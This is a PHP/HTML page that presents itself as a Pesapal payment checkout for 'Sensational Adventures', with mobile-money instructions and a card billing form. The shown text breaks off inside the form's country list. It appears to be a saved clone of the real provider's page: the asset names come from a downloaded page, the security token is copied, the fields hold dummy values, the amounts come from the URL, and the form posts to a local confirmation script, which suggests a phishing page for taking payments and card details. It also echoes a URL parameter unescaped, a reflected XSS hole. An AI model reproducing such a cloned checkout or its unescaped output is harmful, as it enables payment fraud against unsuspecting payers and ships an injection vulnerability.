<?php
$currency = isset($_GET['currency'])
    ? htmlspecialchars($_GET['currency'], ENT_QUOTES, 'UTF-8')
    : 'KES';
$amount = isset($_GET['amount']) ? $_GET['amount'] : '';
$salutation = isset($_GET['salutation'])
    ? htmlspecialchars($_GET['salutation'], ENT_QUOTES, 'UTF-8')
    : '';
$firstname = isset($_GET['firstname'])
    ? htmlspecialchars($_GET['firstname'], ENT_QUOTES, 'UTF-8')
    : '';
$lastname = isset($_GET['lastname'])
    ? htmlspecialchars($_GET['lastname'], ENT_QUOTES, 'UTF-8')
    : '';
$email = isset($_GET['email'])
    ? htmlspecialchars($_GET['email'], ENT_QUOTES, 'UTF-8')
    : '';
$phone = isset($_GET['phone'])
    ? htmlspecialchars($_GET['phone'], ENT_QUOTES, 'UTF-8')
    : '';
$description = isset($_GET['description'])
    ? htmlspecialchars($_GET['description'], ENT_QUOTES, 'UTF-8')
    : '';
$usdEquivalent = isset($_GET['usdEquivalent'])
    ? $_GET['usdEquivalent']
    : '0.00';

$amount = str_replace(',', '', trim($amount));
$formattedAmount = '';
if ($amount === '' || !is_numeric($amount)) {
    $formattedAmount = '0.00';
} else {
    $formattedAmount = number_format((float) $amount, 2);
}

$customername = trim($salutation . ' ' . $firstname . ' ' . $lastname);

// Calculate USD equivalent if not passed
if ($usdEquivalent === '0.00' && is_numeric($amount)) {
    $exchangeRates = [
        'GBP' => 1.35,
        'EUR' => 1.18,
        'USD' => 1.0,
        'KES' => 1 / 129.1,
    ];
    $usdEquivalent = $amount * ($exchangeRates[$currency] ?? 1.0);
    $usdEquivalent = number_format($usdEquivalent, 2);
}
?>
<!DOCTYPE html>

<html
    class=" js flexbox flexboxlegacy canvas canvastext webgl no-touch geolocation postmessage no-websqldatabase indexeddb hashchange history draganddrop websockets rgba hsla multiplebgs backgroundsize borderimage borderradius boxshadow textshadow opacity cssanimations csscolumns cssgradients cssreflections csstransforms csstransforms3d csstransitions fontface generatedcontent video audio localstorage sessionstorage webworkers no-applicationcache svg inlinesvg smil svgclippaths whatinput-types-initial"
    lang="en" data-whatinput="initial" data-whatintent="mouse">

<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">

    <meta http-equiv="x-ua-compatible" content="ie=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1">
    <meta name="robots" content="noindex,nofollow">
    <title>Payments powered by Pesapal</title>
    <script src="./jquery"></script>

    <link href="./css(1)" rel="stylesheet">


    <script src="./tags.js.download"></script>
    <script>
        // Ensure the function runs after the page has fully loaded
        window.onload = function() {
            if (document.getElementById('requestId')) {
                const fpPromise = import('https://fpjscdn.net/v3/hy2IjP2zUdA3ONn6imPf')
                    .then(FingerprintJS => FingerprintJS.load({
                        apiKey: 'hy2IjP2zUdA3ONn6imPf',
                        region: "eu", // match your workspace region
                        // Optional: endpoint: [ 'https://your-proxy.com', FingerprintJS.defaultEndpoint ],
                        // Optional: scriptUrlPattern: [ 'https://your-proxy.com/...js', FingerprintJS.defaultScriptUrlPattern ],
                    }))
                    .catch(importError => {
                        try {
                            if (document.getElementById("requestIdMsg")) {
                                document.getElementById("requestIdMsg").value = 'Failed to load the JS script of the agent';
                            }
                            //console.error('Script load error:', importError);
                        } catch (domError) {
                            //console.error('DOM error:', domError);
                        }
                    });

                fpPromise
                    .then(fp => fp.get())
                    .then(result => {
                        const visitorId = result.visitorId;
                        const requestId = result.requestId;
                        document.getElementById("requestId").value = requestId;
                        //console.log("Request ID : " + requestId);
                    })
                    .catch(error => {
                        let errorMessage = '';
                        // Only try to access error.message if error exists
                        if (error && error.message) {
                            switch (error.message) {
                                case 'ERROR_GENERAL_SERVER_FAILURE':
                                    errorMessage = 'Request failed';
                                    break;
                                case 'ERROR_CLIENT_TIMEOUT':
                                    errorMessage = 'Client timeout';
                                    break;
                                case 'ERROR_NETWORK_CONNECTION':
                                    errorMessage = 'Network connection error';
                                    break;
                                case 'ERROR_NETWORK_ABORT':
                                    errorMessage = 'Network request aborted';
                                    break;
                                case 'ERROR_API_KEY_MISSING':
                                    errorMessage = 'API key required';
                                    break;
                                case 'ERROR_API_KEY_INVALID':
                                    errorMessage = 'API key not found';
                                    break;
                                case 'ERROR_API_KEY_EXPIRED':
                                    errorMessage = 'API key expired';
                                    break;
                                case 'ERROR_SCRIPT_LOAD_FAIL':
                                    errorMessage = 'Failed to load the JS script of the agent';
                                    break;
                                default:
                                    errorMessage = 'Other error';
                            }
                        } else {
                            errorMessage = 'Error occurred while loading Fingerprint';
                        }

                        try {
                            if (document.getElementById("requestIdMsg")) {
                                document.getElementById("requestIdMsg").value = errorMessage;
                            }
                            //console.error('Fingerprint error:', error);
                        } catch (domError) {
                            //console.error('DOM error:', domError);
                        }
                    });
            }
        }
    </script>


    <script type="text/javascript" charset="utf-8" async="" crossorigin="anonymous"
        src="./1.597f4104d311c33d4189.songbird.js.download"></script>
    <style type="text/css">
        .Cardinal-paymentButton {
            cursor: pointer;
            margin: 3px
        }

        .discoverWallet {
            width: 50em;
            max-height: 31.25em
        }

        @media screen and (max-width:375px) {
            .discoverWallet {
                width: 23.875em
            }
        }

        .cardinal-stealth {
            position: absolute !important;
            display: block !important;
            top: -1000px !important;
            left: -1000px !important;
            z-index: -1000 !important;
            width: 1px !important;
            height: 1px !important
        }

        #Cardinal-discoverWallet-IFrame {
            width: 100%;
            height: 100%
        }

        .cardinalOverlay-open.seamless {
            padding: 0;
            border-radius: 0
        }
    </style>
    <meta class="foundation-mq">
    <script type="text/javascript" charset="utf-8" async="" crossorigin="anonymous"
        src="./12.597f4104d311c33d4189.songbird.js.download"></script>
    <script type="text/javascript" charset="utf-8" async="" crossorigin="anonymous"
        src="./11.597f4104d311c33d4189.songbird.js.download"></script>
    <script type="text/javascript" charset="utf-8" async="" crossorigin="anonymous"
        src="./3.597f4104d311c33d4189.songbird.js.download"></script>
    <style type="text/css">
        .cardinalOverlay-mask {
            position: fixed;
            z-index: 999998;
            top: 0;
            left: 0;
            opacity: 0;
            display: none;
            width: 100%;
            height: 100%;
            transition: opacity 1ms ease;
            background: rgba(0, 0, 0, .6)
        }

        .cardinalOverlay-content {
            position: fixed;
            z-index: 999999;
            top: 50%;
            left: 50%;
            opacity: 0;
            padding: 24px 20px;
            transform: translate(-50%, -50%);
            border-radius: 2px;
            background: #fff
        }

        @media screen and (max-width:425px) {
            .cardinalOverlay-content {
                max-width: 410px;
                padding: .5em
            }
        }

        @media screen and (max-width:375px) {
            .cardinalOverlay-content {
                max-width: 365px;
                padding: .5em
            }
        }

        @media screen and (max-height:375px) and (orientation:landscape) {
            .cardinalOverlay-content {
                max-height: 365px;
                padding-top: .5em;
                padding-bottom: .5em
            }
        }

        @media screen and (max-width:320px) {
            .cardinalOverlay-content {
                max-width: 310px;
                padding: .5em
            }
        }

        @media screen and (max-height:320px) and (orientation:landscape) {
            .cardinalOverlay-content {
                max-height: 310px;
                padding-top: .5em;
                padding-bottom: .5em
            }
        }

        .legacy {
            -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=50)";
            filter: alpha(opacity=50);
            background-color: #000
        }

        .cardinalOverlay-closeButton {
            font-family: Helvetica, Arial, sans-serif;
            font-size: 25px;
            line-height: 12px;
            position: absolute;
            top: 2px;
            right: -3px;
            cursor: pointer;
            color: #999;
            border: 0;
            outline: none;
            background: none
        }

        .cardinalOverlay-closeButton:hover {
            color: #000
        }

        .cardinalOverlay-content.cardinalOverlay-open,
        .cardinalOverlay-mask.cardinalOverlay-open {
            display: block;
            opacity: 1;
            transition: opacity .5s ease
        }

        .shadow-effect {
            -ms-box-shadow: 0 6px 22px -3px #000;
            -o-box-shadow: 0 6px 22px -3px #000;
            box-shadow: 0 6px 22px -3px #000
        }

        #Cardinal-MerchantContent {
            width: 100%;
            float: left
        }

        #Cardinal-ModalContent {
            height: 100%;
            width: 100%
        }

        @media screen and (max-width:425px) {
            #Cardinal-ModalContent {
                -webkit-overflow-scrolling: touch;
                overflow-y: scroll;
                max-width: 390px
            }
        }

        @media screen and (max-height:425px) and (orientation:landscape) {
            #Cardinal-ModalContent {
                -webkit-overflow-scrolling: touch;
                overflow-y: scroll;
                max-height: 360px
            }
        }

        @media screen and (max-width:375px) {
            #Cardinal-ModalContent {
                -webkit-overflow-scrolling: touch;
                overflow-y: scroll;
                max-width: 350px
            }
        }

        @media screen and (max-height:375px) and (orientation:landscape) {
            #Cardinal-ModalContent {
                -webkit-overflow-scrolling: touch;
                overflow-y: scroll;
                max-height: 350px
            }
        }

        @media screen and (max-width:320px) {
            #Cardinal-ModalContent {
                -webkit-overflow-scrolling: touch;
                overflow-y: scroll;
                max-width: 300px
            }
        }

        @media screen and (max-height:320px) and (orientation:landscape) {
            #Cardinal-ModalContent {
                -webkit-overflow-scrolling: touch;
                overflow-y: scroll;
                max-height: 295px
            }
        }

        @media screen and (min-width:768px) and (max-width:1024px) {
            #Cardinal-ModalContent {
                -webkit-overflow-scrolling: touch;
                overflow-y: scroll
            }
        }

        #Cardinal-ModalContent.size-01,
        #Cardinal-ModalContent.size-02 {
            height: 400px
        }

        #Cardinal-ModalContent.size-03 {
            height: 600px
        }

        #Cardinal-ModalContent.size-04 {
            height: 400px
        }

        #Cardinal-CCA-IFrame {
            display: block;
            margin: 0 auto
        }

        @media screen and (max-width:425px) {
            #Cardinal-CCA-IFrame {
                max-width: 390px
            }
        }

        @media screen and (max-height:425px) and (orientation:landscape) {
            #Cardinal-CCA-IFrame {
                max-height: 360px
            }
        }

        @media screen and (max-width:375px) {
            #Cardinal-CCA-IFrame {
                max-width: 350px
            }
        }

        @media screen and (max-height:375px) and (orientation:landscape) {
            #Cardinal-CCA-IFrame {
                max-height: 350px
            }
        }

        @media screen and (max-width:320px) {
            #Cardinal-CCA-IFrame {
                max-width: 300px
            }
        }

        @media screen and (max-height:320px) and (orientation:landscape) {
            #Cardinal-CCA-IFrame {
                max-height: 295px
            }
        }

        .cardinal-hide {
            display: none
        }

        .cardinal-img-responsive {
            max-width: 100%;
            height: auto;
            display: block
        }

        .cardinal-center-block {
            display: block;
            margin: 0 auto
        }

        .cardinal-text-center {
            text-align: center
        }
    </style>
</head>

<body data-new-gr-c-s-check-loaded="14.1280.0" data-gr-ext-installed="">
    <div class="pp-preloader" style="display: none;"></div>




    <noscript><iframe style="width: 100px; height: 100px; border: 0; position:absolute; top: -5000px;"
            src="https://h.online-metrix.net/fp/tags.js?org_id=k8vif92e&amp;session_id=pesapal_dm4c37fe71-a650-44f6-8111-82c7c93f163f"></iframe></noscript>
    <div id="payments-holder" class="row collapse">
        <div class="column large-12">
            <!--START IFRAME HTML-->

            <div class="tabs-content" data-tabs-content="payment-tabs">

                <label id="chooseoption">Please select your preferred payment option</label>

                <form action="confirmation.php" id="makePayment" method="post"><input
                        name="__RequestVerificationToken" type="hidden"
                        value="Uz-dDU6-27w1ubzT_0iY_FBUd0RQq5i2MAsRzalgR7sR1HvPTUxRqH3yWkFAmRADvGDEIWqCQe54eNmR9d3yOCetdewta4wTN7dgUIo31bU1">

                    <ul class="pmds float-left">
                        <li>
                            <input checked="" required="" class="paym pm1" id="paym" name="paym" type="radio"
                                value="pmpesake"> <label for="pmpesake" class="paym-selection" attrib-paym="pmpesake">
                                <img src="./mpesa.png"></label>
                        </li>
                        <li>
                            <input required="" class="paym pm2" id="paym" name="paym" type="radio" value="pairtelke">
                            <label for="pairtelke" class="paym-selection" attrib-paym="pairtelke"> <img
                                    src="./airtel.png"></label>
                        </li>



                    </ul>



                    <ul class="pmds float-left">
                        <li>
                            <div class="float-left ">
                                <input required="" class="paym pm0 btn-pcards" id="pcards" name="paym" type="radio"
                                    value="pcards">
                            </div>
                            <label class="float-left" for="pcards">
                                <span><img class="marg0" src="./visa.png"></span>

                                <span><img class="marg0 borderlr5 mcleft" src="./mastercard.png"></span>

                                <span><img class="marg0" src="./amex.png"></span>
                            </label>
                        </li>

                    </ul>


                    <ul class="pmds float-left">
                        <li title="E-wallet">
                            <input required="" class="paym" id="pewallet" name="paym" type="radio" value="pewallet">
                            <label id="pwallet" for="pewallet">
                                <span><img class="marg0" src="./mvisa.png"></span>



                                <span><img class="marg0" src="./ewallet.png"></span>
                            </label>
                        </li>
                    </ul>
                    <div class="accordion bg-transparent" data-accordion="" data-allow-all-closed="true">
                        <div class="tabs-panel is-active" id="panelm" aria-hidden="false">




                            <div id="instpmpesake" class="pinstr" style="display: block;">
                                <div id="pmpesake1" class="step1div">
                                    <div class="mob-step-1">
                                        <p>Pay <span class="biz_name">"Sensational Adventures"</span> <?php echo $currency; ?> <?php echo $formattedAmount; ?> (equivalent to USD <?php echo $usdEquivalent; ?>)
                                        </p>
                                        <ol>
                                            <li>Provide your MPESA [KE] mobile number below</li>
                                            <li>Click Proceed and a prompt will appear on your phone requesting you to
                                                confirm transaction by providing your MPESA PIN</li>
                                            <li>Once completed, you will receive the confirmation SMS for this
                                                transaction</li>
                                        </ol>
                                    </div>

                                    <div class="callout warning">
                                        <p>The maximum transactional value for an Mpesa transaction is <i>KES
                                                250,000.00</i>. Please use an alternative payment method to complete
                                            your payment.</p>
                                    </div>
                                    <input id="hidepmpesakeProceedBtn" name="hidepmpesakeProceedBtn" type="hidden"
                                        value="1">
                                </div>

                                <div id="pmpesake2" class="step2div hide">
                                    <div class="mob-step-2">
                                        <p>Pay <span class="biz_name">"Sensational Adventures"</span></p>
                                        <div class="step2-complete">
                                            <div id="promptmsg-mpesake">
                                                <p class="step-complete">A payment prompt has been sent to phone number
                                                    <small><a class="edit-prompt-number"
                                                            href="https://pay.pesapal.com/iframe/PesapalIframe3/Index?retry=&amp;OrderTrackingId=cf4f1a7c-8642-4050-9032-da7b726b9132">(Edit)</a></small>
                                                </p>

                                                <ol id="step-complete-instructions">
                                                    <li>Your screen will light up requesting you to enter your MPESA
                                                        PIN.</li>
                                                    <li>Once you've entered your MPESA PIN, click the 'PROCEED' button
                                                        below to complete your payment.</li>
                                                </ol>
                                                <input id="stkacc1" name="stkacc1" type="hidden" value="">
                                            </div>
                                            <div id="payerror-mpesake"></div>
                                            <div id="prompt-instructions" class="callout primary">
                                                <div class="row">
                                                    <div class="column small-12 medium-9">
                                                        <div id="calloutmsg-mpesake" class="stk-success-msg">In case
                                                            you've not received a payment prompt, please <a
                                                                href="javascript:void(0);" class="step-manual"
                                                                id="step-manual-mpesake">click here</a><span
                                                                id="manually-mpesake"> to view payment
                                                                instructions.</span></div>
                                                    </div>
                                                    <div class="column small-12 medium-3">
                                                        <a class="link-prompt button"
                                                            href="https://pay.pesapal.com/iframe/PesapalIframe3/Index?retry=&amp;OrderTrackingId=cf4f1a7c-8642-4050-9032-da7b726b9132">Resend
                                                            Payment Prompt</a>
                                                    </div>
                                                </div>
                                            </div>
                                        </div>
                                        <div class="step-manual-mpesake" style="display: none;">
                                            <p>Send <?php echo $currency; ?> <?php echo $formattedAmount; ?> (equivalent to USD <?php echo $usdEquivalent; ?>) to M-PESA Pay Bill Number 220222.</p>
                                            <ol>
                                                <li>Go to M-PESA on your phone</li>
                                                <li>Select Pay Bill option</li>
                                                <li>Enter Business no. <strong><span id="paybillnumber1">220</span><span
                                                            id="paybillnumber2">222</span></strong></li>
                                                <li>Enter Account No as <strong></strong></li>
                                                <li>Enter the Amount <?php echo $currency; ?> <strong><?php echo $formattedAmount; ?> (USD <?php echo $usdEquivalent; ?>)</strong></li>
                                                <li>Enter your M-PESA PIN and Send</li>
                                                <li>You will receive a confirmation SMS from M-PESA with a Confirmation
                                                    Code</li>
                                                <li>Click proceed to finalise your payment</li>
                                            </ol>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <input id="mstep1" name="mstep1" type="hidden" value="mobilestep2">
                            <div id="instpairtelke" class="pinstr" style="display: none;">
                                <div id="pairtelke1" class="step1div  hide">
                                    <div class="mob-step-1">
                                        <p>Pay <span class="biz_name">"Sensational Adventures"</span> <?php echo $currency; ?> <?php echo $formattedAmount; ?> (equivalent to USD <?php echo $usdEquivalent; ?>)
                                        </p>
                                        <ol>
                                            <li>Provide your Airtel money [KE] mobile number below</li>
                                            <li>Click Proceed and a prompt will appear on your phone requesting you to
                                                confirm transaction by providing your Airtel Money PIN</li>
                                            <li>Once completed, you will receive the confirmation SMS for this
                                                transaction</li>
                                        </ol>
                                    </div>

                                    <div class="callout warning">
                                        <p>The maximum transactional value for an Airtel transaction is <i>KES
                                                200,000.00</i>. Please use an alternative payment method to complete
                                            your payment.</p>
                                    </div>
                                    <input id="hidepairtelkeProceedBtn" name="hidepairtelkeProceedBtn" type="hidden"
                                        value="1">
                                </div>

                                <div id="pairtelke2" class="step2div hide">
                                    <div class="mob-step-2">
                                        <p>Pay <span class="biz_name">"Sensational Adventures"</span></p>
                                        <div class="step2-complete">
                                            <div id="promptmsg-airtelke">
                                                <p class="step-complete">A payment prompt has been sent to phone number
                                                    <small><a class="edit-prompt-number"
                                                            href="https://pay.pesapal.com/iframe/PesapalIframe3/Index?retry=&amp;OrderTrackingId=cf4f1a7c-8642-4050-9032-da7b726b9132">(Edit)</a></small>
                                                </p>
                                                <ol id="step-complete-instructions">
                                                    <li>Your screen will light up requesting you to enter your Airtel
                                                        money PIN.</li>
                                                    <li>Once you've entered your Airtel Money PIN, click the 'PROCEED'
                                                        button below to complete your payment.</li>
                                                </ol>
                                                <input id="stkacc2" name="stkacc2" type="hidden" value="">
                                            </div>
                                            <div id="payerror-airtelke"></div>
                                            <div class="callout primary">
                                                <div class="row">
                                                    <div class="column small-12 medium-9">
                                                        <div id="calloutmsg-airtelke" class="stk-success-msg">
                                                            <!--<a href="javascript:void(0);" class="step-manual" id="step-manual-airtelke">Click here</a> to view<span id="manually-airtelke"> manual payment instructions</span>.-->
                                                            Are you having challeges receiving the payment prompt? Click
                                                            <a class=""
                                                                href="https://pay.pesapal.com/iframe/PesapalIframe3/Index?retry=&amp;OrderTrackingId=cf4f1a7c-8642-4050-9032-da7b726b9132">here</a>
                                                            to resend the payment prompt.
                                                        </div>
                                                    </div>
                                                    <div class="column small-12 medium-3">
                                                        <a class="link-prompt button"
                                                            href="https://pay.pesapal.com/iframe/PesapalIframe3/Index?retry=&amp;OrderTrackingId=cf4f1a7c-8642-4050-9032-da7b726b9132">Resend
                                                            Payment Prompt</a>
                                                    </div>
                                                </div>
                                            </div>
                                        </div>
                                        <div class="step-manual-airtelke" style="display: none;">
                                            <p>Send Airtel Money <?php echo $currency; ?> <?php echo $formattedAmount; ?> (equivalent to USD <?php echo $usdEquivalent; ?>) to Business number PESAPAL</p>
                                            <ol>
                                                <li>Go to Airtel Money Menu by dialing *185# on your phone</li>
                                                <li>Select Pay Bill</li>
                                                <li>Select Others</li>
                                                <li>Enter Business Number <strong>PESAPAL</strong></li>
                                                <li>Enter the Amount&nbsp;<?php echo $currency; ?> <strong><?php echo $formattedAmount; ?> (USD <?php echo $usdEquivalent; ?>)</strong></li>
                                                <li>Confirm Details on Confirmation Screen</li>
                                                <li>Enter your PIN and Send</li>
                                                <li>Enter Reference No as <strong></strong></li>
                                                <li>You will receive a confirmation SMS from Airtel Money with the
                                                    transaction Details</li>
                                                <li>Click on complete to finalise your payment</li>
                                            </ol>
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <input id="mstep2" name="mstep2" type="hidden" value="mobilestep2">


                        </div>

                        <div class="tabs-panel" id="panelc" aria-hidden="true">



                            <div id="instpcards" class="pinstr" style="display: none;">

                                <p>Pay <span class="biz_name">"Sensational Adventures"</span></p>
                                <p>Pesapal will charge <?php echo $currency; ?> <?php echo $formattedAmount; ?> (equivalent to USD <?php echo $usdEquivalent; ?>) to your card.</p>

                                <ul class="tabs" data-responsive-accordion-tabs="tabs medium-accordion large-tabs"
                                    id="pcards-tabs">
                                    <li class="tabs-title entercarddetails-tab is-active hide"><a
                                            href="https://pay.pesapal.com/iframe/PesapalIframe3/Index?OrderTrackingId=cf4f1a7c-8642-4050-9032-da7b726b9132#entercarddetails"
                                            aria-selected="true">Enter Card Details</a></li>
                                </ul>

                                <div class="tabs-content" data-tabs-content="pcards-tabs" id="pcards-tabs-details">
                                    <div class="tabs-panel" id="entercarddetails" aria-hidden="false">

                                        <div class="card-step-1">
                                            <!--STEP 1-->
                                            <div class="inform">
                                                <div class="row">
                                                    <div class="medium-12 column">
                                                        <span class="exptitle">Provide your Card's Billing
                                                            details</span>

                                                        <div class="form-group row collapse">
                                                            <div class="column medium-12 small-12">
                                                                <div class="billing-message">
                                                                    Your billing details must match the details
                                                                    registered at your bank. Please ensure to use the
                                                                    correct billing address should it be different from
                                                                    your current address of residency.
                                                                </div>
                                                            </div>
                                                        </div>
                                                        <div class="form-group row collapse">
                                                            <div class="column medium-6 small-6">
                                                                <div class="input-group">
                                                                    <span class="input-group-label">
                                                                        <i class="pe-7s-user"></i>
                                                                    </span>
                                                                    <input class="firstname input-group-field"
                                                                        id="firstname" name="firstname"
                                                                        placeholder="First Name e.g John" type="text"
                                                                        value="Mister"
                                                                        data-np-intersection-state="observed">
                                                                </div>
                                                            </div>
                                                            <div class="column medium-6 small-6">
                                                                <div class="form-group ">
                                                                    <input class="lastname input-group-field"
                                                                        id="lastname" name="lastname"
                                                                        placeholder="Last Name e.g Doe" type="text"
                                                                        value="Ryruruuyt"
                                                                        data-np-intersection-state="observed">

                                                                </div>
                                                            </div>
                                                        </div>

                                                        <div class="form-group row collapse">
                                                            <div class="column medium-6 small-12">
                                                                <div class="input-group">
                                                                    <span class="input-group-label">
                                                                        <i class="pe-7s-mail"></i>
                                                                    </span>
                                                                    <input class="emailaddress input-group-field"
                                                                        id="emailaddress" name="emailaddress"
                                                                        placeholder="E-mail eg john@doe.com"
                                                                        type="email" value="you@we.com"
                                                                        data-np-intersection-state="observed">
                                                                </div>
                                                            </div>
                                                            <div class="column medium-6 small-12">
                                                                <div class="input-group">
                                                                    <span class="input-group-label"><i
                                                                            class="pe-7s-flag"></i></span>


                                                                    <select class="countrycode chosen input-group-field"
                                                                        id="CountryCodeId" name="countrycode"
                                                                        data-np-intersection-state="observed">
                                                                        <option selected="selected" value=""> --- Select
                                                                            Country --- </option>
                                                                        <option value="AF">Afghanistan</option>
                                                                        <option value="AL">Albania</option>
                                                                        <option value="DZ">Algeria</option>
                                                                        <option value="AS">American Samoa</option>
                                                                        <option value="AD">Andorra</option>
                                                                        <option value="AO">Angola</option>
                                                                        <option value="AI">Anguilla</option>
                                                                        <option value="AQ">Antarctica</option>
                                                                        <option value="AG">Antigua and Barbuda</option>
                                                                        <option value="AR">Argentina</option>
                                                                        <option value="AM">Armenia</option>
                                                                        <option value="AW">Aruba</option>
                                                                        <option value="AU">Australia</option>
                                                                        <option value="AT">Austria</option>
                                                                        <option value="AZ">Azerbaijan</option>
                                                                        <option value="BS">Bahamas</option>
                                                                        <option value="BH">Bahrain</option>
                                                                        <option value="BD">Bangladesh</option>
                                                                        <option value="BB">Barbados</option>
                                                                        <option value="BY">Belarus</option>
                                                                        <option value="BE">Belgium</option>
                                                                        <option value="BZ">Belize</option>
                                                                        <option value="BJ">Benin</option>
                                                                        <option value="BM">Bermuda</option>
                                                                        <option value="BT">Bhutan</option>
                                                                        <option value="BO">Bolivia</option>
                                                                        <option value="BQ">Bonaire, Sint&nbsp;Eustatius,
                                                                            and&nbsp;Saba</option>
                                                                        <option value="BA">Bosnia and Herzegovina
                                                                        </option>
                                                                        <option value="BW">Botswana</option>
                                                                        <option value="BV">Bouvet Island</option>
                                                                        <option value="BR">Brazil</option>
                                                                        <option value="IO">British Indian Ocean
                                                                            Territory</option>
                                                                        <option value="VG">British Virgin Islands
                                                                        </option>
                                                                        <option value="BN">Brunei Darussalam</option>
                                                                        <option value="BG">Bulgaria</option>
                                                                        <option value="BF">Burkina Faso</option>
                                                                        <option value="BI">Burundi</option>
                                                                        <option value="KH">Cambodia</option>
                                                                        <option value="CM">Cameroon, United Republic of
                                                                        </option>
                                                                        <option value="CA">Canada</option>
                                                                        <option value="CV">Cape Verde Island</option>
                                                                        <option value="KY">Cayman Islands</option>
                                                                        <option value="CF">Central African Republic
                                                                        </option>
                                                                        <option value="TD">Chad</option>
                                                                        <option value="CL">Chile</option>
                                                                        <option value="CN">China</option>
                                                                        <option value="CX">Christmas Island</option>
                                                                        <option value="CC">Cocos (Keeling) Islands
                                                                        </option>
                                                                        <option value="CO">Colombia</option>
                                                                        <option value="KM">Comoros</option>
                                                                        <option value="CG">Congo</option>
                                                                        <option value="CK">Cook Islands</option>
                                                                        <option value="CR">Costa Rica</option>
                                                                        <option value="CI">Côte d'Ivoire (Ivory Coast)
                                                                        </option>
                                                                        <option value="HR">Croatia</option>
                                                                        <option value="CU">Cuba</option>
                                                                        <option value="CW">Curacao</option>
                                                                        <option value="CY">Cyprus</option>
                                                                        <option value="CZ">Czech Republic</option>
                                                                        <option value="CD">Democratic Republic of the
                                                                            Congo</option>
                                                                        <option value="DK">Denmark</option>
                                                                        <option value="DJ">Djibouti</option>
                                                                        <option value="DM">Dominica</option>
                                                                        <option value="DO">Dominican Republic</option>
                                                                        <option value="EC">Ecuador</option>
                                                                        <option value="EG">Egypt</option>
                                                                        <option value="SV">El Salvador</option>
                                                                        <option value="GQ">Equatorial Guinea</option>
                                                                        <option value="ER">Eritrea</option>
                                                                        <option value="EE">Estonia</option>
                                                                        <option value="ET">Ethiopia</option>
                                                                        <option value="FK">Falkland Islands (Malvinas)
                                                                        </option>
                                                                        <option value="FO">Faroe Islands</option>
                                                                        <option value="FJ">Fiji</option>
                                                                        <option value="FI">Finland</option>
                                                                        <option value="FR">France</option>
                                                                        <option value="FX">France,Metropolitan</option>
                                                                        <option value="GF">French Guiana</option>
                                                                        <option value="PF">French Polynesia</option>
                                                                        <option value="TF">French Southern Territories
                                                                        </option>
                                                                        <option value="GA">Gabon</option>
                                                                        <option value="GM">Gambia</option>
                                                                        <option value="GE">Georgia</option>
                                                                        <option value="DE">Germany</option>
                                                                        <option value="GH">Ghana</option>
                                                                        <option value="GI">Gibralter</option>
                                                                        <option value="GR">Greece</option>
                                                                        <option value="GL">Greenland</option>
                                                                        <option value="GD">Grenada</option>
                                                                        <option value="GP">Guadeloupe</option>
                                                                        <option value="GU">Guam</option>
                                                                        <option value="GT">Guatemala</option>
                                                                        <option value="GN">Guinea</option>
                                                                        <option value="GW">Guinea-Bissau</option>
                                                                        <option value="GY">Guyana</option>
                                                                        <option value="HT">Haiti</option>
                                                                        <option value="HM">Heard and McDonald Islands
                                                                        </option>
                                                                        <option value="VA">Holy See (Vatican City State)
                                                                        </option>
                                                                        <option value="HN">Honduras</option>
                                                                        <option value="HK">Hong Kong</option>
                                                                        <option value="HU">Hungary</option>
                                                                        <option value="IS">Iceland</option>
                                                                        <option value="IN">India</option>
                                                                        <option value="ID">Indonesia</option>
                                                                        <option value="IR">Iran, Islamic Republic of
                                                                        </option>
                                                                        <option value="IQ">Iraq</option>
                                                                        <option value="IE">Ireland, Republic of</option>
                                                                        <option value="IM">Isle of Man</option>
                                                                        <option value="IL">Israel</option>
                                                                        <option value="IT">Italy</option>
                                                                        <option value="JM">Jamaica</option>
                                                                        <option value="JP">Japan</option>
                                                                        <option value="JO">Jordan</option>
                                                                        <option value="KZ">Kazakhstan</option>
                                                                        <option value="KE">Kenya</option>
                                                                        <option value="KI">Kiribati</option>
                                                                        <option value="KP">Korea, Democratic People's
                                                                            Republic of</option>
                                                                        <option value="KR">Korea, Republic of</option>
                                                                        <option value="KW">Kuwait</option>
                                                                        <option value="KG">Kyrgyzstan</option>
                                                                        <option value="LA">Laos</option>
                                                                        <option value="LV">Latvia</option>
                                                                        <option value="LB">Lebanon</option>
                                                                        <option value="LS">Lesotho</option>
                                                                        <option value="LR">Liberia</option>
                                                                        <option value="LY">Libyan Arab Jamahiriya
                                                                        </option>
                                                                        <option value="LI">Liechtenstein</option>
                                                                        <option value="LT">Lithuania</option>
                                                                        <option value="LU">Luxembourg</option>
                                                                        <option value="MO">Macau</option>
                                                                        <option value="MK">Macedonia</option>
                                                                        <option value="MG">Madagascar</option>
                                                                        <option value="MW">Malawi</option>
                                                                        <option value="MY">Malaysia</option>
                                                                        <option value="MV">Maldives</option>
                                                                        <option value="ML">Mali</option>
                                                                        <option value="MT">Malta</option>
                                                                        <option value="MH">Marshall Islands</option>
                                                                        <option value="MQ">Martinique</option>
                                                                        <option value="MR">Mauritania</option>
                                                                        <option value="MU">Mauritius</option>
                                                                        <option value="YT">Mayotte</option>
                                                                        <option value="MX">Mexico</option>
                                                                        <option value="FM">Micronesia</option>
                                                                        <option value="MD">Moldova, Republic of</option>
                                                                        <option value="MC">Monaco</option>
                                                                        <option value="MN">Mongolia</option>
                                                                        <option value="ME">Montenegro</option>
                                                                        <option value="MS">Montserrat</option>
                                                                        <option value="MA">Morocco</option>
                                                                        <option value="MZ">Mozambique</option>
                                                                        <option value="MM">Myanmar</option>
                                                                        <option value="NA">Namibia</option>
                                                                        <option value="NR">Nauru</option>
                                                                        <option value="NP">Nepal</option>
                                                                        <option value="NL">Netherlands</option>
                                                                        <option value="NC">New Caledonia</option>
                                                                        <option value="NZ">New Zealand</option>
                                                                        <option value="NI">Nicaragua</option>
                                                                        <option value="NE">Niger</option>
                                                                        <option value="NG">Nigeria</option>
                                                                        <option value="NU">Niue</option>
                                                                        <option value="NF">Norfolk Island</option>
                                                                        <option value="MP">Northern Mariana Islands
                                                                        </option>
                                                                        <option value="NO">Norway</option>
                                                                        <option value="OM">Oman</option>
                                                                        <option value="PK">Pakistan</option>
                                                                        <option value="PW">Palau</option>
                                                                        <option value="PS">Palestine, State of</option>
                                                                        <option value="PA">Panama</option>
                                                                        <option value="PG">Papua New Guinea</option>
                                                                        <option value="PY">Paraguay</option>
                                                                        <option value="PE">Peru</option>
